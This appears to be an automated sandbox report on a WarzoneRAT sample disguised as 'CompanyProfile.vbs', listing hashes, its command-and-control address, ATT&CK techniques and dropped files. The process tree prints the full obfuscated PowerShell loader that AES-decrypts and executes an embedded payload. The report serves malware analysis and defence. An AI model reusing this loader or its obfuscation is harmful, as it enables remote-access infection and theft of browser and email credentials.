warzonerat | a5bf9d0f1895c9eb988d0d946ccf5022f73b68005450414ddbfdb36a053e4fc0

General

Target

CompanyProfile.vbs
Size

413KB
MD5

110831ca8aa326ecd1e0c364adc7062a
SHA1

34c36ce57105514fa8a0db8ef82aec5db6bd7d34
SHA256

a5bf9d0f1895c9eb988d0d946ccf5022f73b68005450414ddbfdb36a053e4fc0
SHA512

bdd4fef931fd404f450e117b63fbbe47abc71953cee3d4e414643ec19e657ee3efd43df79b0a95fcc4254b5e4bea624b0dce5cb3839a038a20a9cfb86ffcfdf2
SSDEEP

3072:1HGYwftYFGhNe4VTdRnTT8w4TWxHqQYDgbppvicsKS7pEXGRTLYJeP0rkNyt:NwftYFgHqQD

Score

10^/10

warzonerat collection credential_access discovery execution infostealer rat stealer

Malware Config

Extracted

Family

warzonerat

C2

109.248.151.156:2048

Signatures

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Warzone RAT payload 4 IoCs

rat

resource	yara_rule
behavioral2/memory/5084-15-0x0000000000400000-0x000000000055E000-memory.dmp	warzonerat
behavioral2/memory/5084-20-0x0000000000400000-0x000000000055E000-memory.dmp	warzonerat
behavioral2/memory/5084-22-0x0000000000400000-0x000000000055E000-memory.dmp	warzonerat
behavioral2/memory/5084-49-0x0000000000400000-0x000000000055E000-memory.dmp	warzonerat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3816	powershell.exe
20	3816	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 6 IoCs

pid	Process
5084	AddInProcess32.exe
5084	AddInProcess32.exe
5084	AddInProcess32.exe
5084	AddInProcess32.exe
5084	AddInProcess32.exe
5084	AddInProcess32.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3816	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3816 set thread context of 5084	3816	powershell.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3816	powershell.exe
3816	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3816	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1876 wrote to memory of 3816	1876	WScript.exe	83
PID 1876 wrote to memory of 3816	1876	WScript.exe	83
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88
PID 3816 wrote to memory of 5084	3816	powershell.exe	88

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CompanyProfile.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI59177120335026464218998728314136CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIzmKkjc/oJj8cPDirQ3LORavQxvCG+8m/03wRUbF5VkfGIlamS24nE0RH4GECjOESjusRZG6cFw1avNIoLX7fATicjIMCznhFsfIajd1j+0m9RyIfHSjUO+uNtcVYngOuRcsuTxYYk8UEUO+TKbs7YjmXdKtycJcHZXzeuUX3RRf7yIW7HhwRqn8yNAAkLH8aR4A06U3KhXZr72ZBEjxWaabifiCB3IDnceplZKidTor4FWLYCSdMrZPizRLfNOtNGSfCgFhE73amSu6huRlN/7xeXwonX9BqwPG0Fc8Vptfrj24qDfEFtR0BdliDWBD5g/DidB/XhMisfamvVP5v29Q48FCxf64FarHT+PstNgyJK11o2h5Emq/tonfx4XlnruL4W5256dW5y0sNsRdMu9b8hhm0KivVvO66ArkBKMfGet6oFw9mn5UDDdMtU/+wrUnrsqPLuANpeDbB9V6J/2slUyURbdUPBCxcWGOKO1LQFwi8Y9ynyPQIjjeruuF+ARW9jLnrqBQoFsm+1sIGDMALHQj6XLw6Ahel8mPM32lAI8D3Vbpd3Gg45vS5pUDF57CF60ONXntAPlKOIeTKdTDGblScbmJa3KLC1pdMT7k0GV1dAaK5qLcLiP+oiFTDv6Th7iH+7iZSqBiZFRYb7as7lAOhwf1eJkt6TFFbYOXUqPiO6WqVskZnrIsDRQva/OBVCrJL5fn0rR42xfg60I4vV+2Z0FORcV/wzmtv9jSmstpyzpDgGXAnXF9rJMVNJ5OJV2qNQPl5i/y+4x2kR/YqLCJVrLqKa4e2rqeTKXnFWMVFjwjm8joBLG7sVt0iZcX49QmJt3b7B4zTxRTJYh16Gg8NQvCL6RXSan+LTFQZuEr40Sojo6Z5HvYYS8TR/l7JG+Ek5pGtGzHS6n9W4zXK7R3CtdLYZ8/ED2zqKjwv2dg/EAvofKnwj/LLvxMQsHQSOxnJlH1NCSlaJQaWj23U1Ix1eGHn1eEUukv6jw42KKKQngTNS38Vl/NjTfDyiqhBhurMuEwaVpsSbKR4FrdOROoMzKO6QhaDKmhvwVMs4B52WjHuuLEfYXUBdATTZD/n+dy8YaT5D+aEym6sYS8o1A8pUIJ3ctYHrsOn2DXm23Ea3Kz52cnlnJSGhoeHXAP9vp4tUpDQcJHhWO6TiVfo1PAU12mCiSPNC7HWebh0n0zlj4uD6FDTU2IW5wBmw5pXHZL+/PMXN6XvBDGRmetvV6NHO7jWYm/tgo48zKhuhmuvJBDbQ/Nd/9BMsL5L0/oKC+YWViH1lieS6cB01w==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - outlook_office_path
    - outlook_win_path
    PID:5084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wai3o1te.qo3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\freebl3.dll

Filesize
326KB

MD5
ef12ab9d0b231b8f898067b2114b1bc0

SHA1
6d90f27b2105945f9bb77039e8b892070a5f9442

SHA256
2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

SHA512
2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

Download Submit
C:\Users\Admin\AppData\Local\Temp\mozglue.dll

Filesize
133KB

MD5
75f8cc548cabf0cc800c25047e4d3124

SHA1
602676768f9faecd35b48c38a0632781dfbde10c

SHA256
fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

SHA512
ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

Download Submit
C:\Users\Admin\AppData\Local\Temp\msvcp140.dll

Filesize
429KB

MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
C:\Users\Admin\AppData\Local\Temp\nss3.dll

Filesize
1.2MB

MD5
d7858e8449004e21b01d468e9fd04b82

SHA1
9524352071ede21c167e7e4f106e9526dc23ef4e

SHA256
78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

SHA512
1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

Download Submit
C:\Users\Admin\AppData\Local\Temp\softokn3.dll

Filesize
141KB

MD5
471c983513694ac3002590345f2be0da

SHA1
6612b9af4ff6830fa9b7d4193078434ef72f775b

SHA256
bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

SHA512
a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

Download Submit
C:\Users\Admin\AppData\Local\Temp\vcruntime140.dll

Filesize
81KB

MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
memory/3816-13-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download
memory/3816-18-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download
memory/3816-14-0x0000018672510000-0x0000018672632000-memory.dmp

Filesize
1.1MB

Download
memory/3816-0-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download
memory/3816-8-0x0000018671FD0000-0x0000018671FF2000-memory.dmp

Filesize
136KB

Download
memory/3816-1-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download
memory/3816-2-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download
memory/5084-20-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/5084-21-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download
memory/5084-22-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/5084-15-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/5084-49-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/5084-50-0x00007FFF91CD0000-0x00007FFF91EC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

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